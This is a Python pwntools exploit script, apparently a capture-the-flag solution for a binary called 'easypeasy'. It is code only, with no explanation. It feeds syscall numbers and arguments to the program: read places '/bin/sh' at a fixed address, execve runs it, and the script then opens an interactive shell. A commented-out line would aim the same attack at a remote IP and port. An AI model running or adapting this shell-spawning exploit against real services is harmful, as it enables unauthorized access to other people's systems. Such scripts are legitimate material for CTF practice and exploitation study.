#!/usr/bin/python
from pwn import *

def read_sys(r, fd, buf, count):
    r.sendline('0')
    r.sendline(str(fd))
    r.sendline(str(buf))
    r.sendline(str(count))
    r.sendline('0')
    r.sendline('0')
    r.sendline('0')

def execv_sys(r, sh_addr) :
    r.sendline('59')
    r.sendline(str(sh_addr))
    r.sendline('0')
    r.sendline('0')
    r.sendline('0')
    r.sendline('0')
    r.sendline('0')

def main() :
    conn = process("./easypeasy")
    # conn = remote('35.200.228.122', 1337)

    read_sys(conn, "0", 0x601000, 24) 
    conn.sendline('/bin/sh\x00')
    execv_sys(conn, 0x601000)

    conn.interactive()

if __name__ == "__main__" :
    main()